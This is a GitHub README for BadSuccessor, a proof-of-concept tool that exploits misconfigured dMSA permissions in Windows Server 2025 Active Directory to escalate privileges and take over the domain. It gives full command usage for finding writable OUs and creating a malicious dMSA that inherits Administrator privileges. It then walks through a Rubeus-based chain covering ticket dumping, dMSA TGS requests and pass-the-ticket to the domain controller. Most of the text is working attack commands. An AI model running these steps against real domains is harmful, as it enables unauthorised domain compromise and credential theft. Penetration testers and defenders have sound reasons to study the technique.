BadSuccessor

July 20, 2025 · View on GitHub

A PoC for the dMSA Active Directory Domain Takeover deemed BadSuccessor published by @YuG0rd - Akamai.

Blog Post: BadSuccessor: Abusing dMSAs for AD Domination

Overview

BadSuccessor exploits misconfigured Delegated Managed Service Account (dMSA) permissions in Windows Active Directory to escalate privileges. The tool creates malicious dMSAs that inherit the privileges of high-value service accounts, enabling lateral movement and privilege escalation in modern AD environments.

Attack Requirements

User account with write permissions to target OUs
Windows Server 2025 domain controllers present in the domain (dMSA support required)

Usage

The tool contains two modules, one to identify exploitable OUs and one to create the dMSA.

Usage:
  # Enumerate and list all Organizational Units you have write access to.
  BadSuccessor find

  # Create the malicious dMSA in the target OU
  BadSuccessor escalate -targetOU <OU=…,DC=…> -dmsa <name> -targetUser <full DN> [-dc-ip <host>] -dnshostname <hostname> (-machine <name$> | -user <username>)

  # Cleanup malicious dMSA
  BadSuccessor.exe del dMSAAccountName "OU=ServiceAccounts,DC=example,DC=com"

Examples:
  BadSuccessor find
  BadSuccessor escalate \
    -targetOU "OU=Keep,DC=essos,DC=local" \
    -dmsa kreep_dmsa \
    -targetUser "CN=Administrator,CN=Users,DC=essos,DC=local" \
    -dnshostname kreep_dmsa \
    -machine braavos$ \
    -dc-ip 192.168.10.15

  BadSuccessor escalate \
    -targetOU "OU=Keep,DC=essos,DC=local" \
    -dmsa kreep_dmsa \
    -targetUser "CN=Administrator,CN=Users,DC=essos,DC=local" \
    -dnshostname kreep_dmsa \
    -user john.doe \
    -dc-ip 192.168.10.15

Parameters:
  -targetOU    DN of the OU container (e.g. OU=TestOU,DC=domain,DC=com)
  -dmsa        Name for the new dMSA (sAMAccountName without '$')
  -targetUser  Full DN of the existing service account (e.g. CN=SvcUser,CN=Users,DC=domain,DC=com)
  -dnshostname dNSHostName to give to the new dMSA for Kerberos authentication
  -machine     Machine account for msDS-GroupMSAMembership. Include the $, e.g: braavos$
  -user        User account for msDS-GroupMSAMembership (sAMAccountName without domain)
  -dc-ip       (Optional) FQDN or IP of the DC to bind against for schema-aware writes

Note: You must specify either -machine OR -user, but not both.

Phase 1: Reconnaissance

Identify target OUs where you have write permissions:

BadSuccessor.exe find

Phase 2: Exploitation

Create a malicious dMSA to inherit target account privileges:

BadSuccessor.exe escalate \
  -targetOU "OU=Servers,DC=corp,DC=local" \
  -dmsa backup_svc \
  -targetUser "CN=BackupAdmin,CN=Users,DC=corp,DC=local" \
  -dnshostname BackupSVR \
  -machine BRAAVOS$ \
  -dc-ip 10.0.1.10

Post-Exploitation Chain

Once the malicious dMSA is created, extract credentials using standard Kerberos attacks:

1. Ticket Enumeration

# Using Rubeus
Rubeus.exe triage

# Using Kerbeus BOF
krb_triage

2. TGT Extraction

# Rubeus
Rubeus.exe dump /luid:<target_luid> /service:krbtgt /nowrap

# Kerbeus BOF  
krb_dump /luid:<target_luid>

3. dMSA TGS Request

Requires Rubeus PR #194 for dMSA support

Rubeus.exe asktgs /targetuser:<dmsa_name>$ /service:krbtgt/<domain> /dmsa /dc:<dc_fqdn> /opsec /nowrap /ticket:<b64_ticket>

4. Privileged TGS Request

.\Rubeus.exe asktgs /user:<dmsa_name>$ /service:cifs/<dc_fqdn> /opsec /dmsa /nowrap /ptt /ticket:doIF2DCCBdS...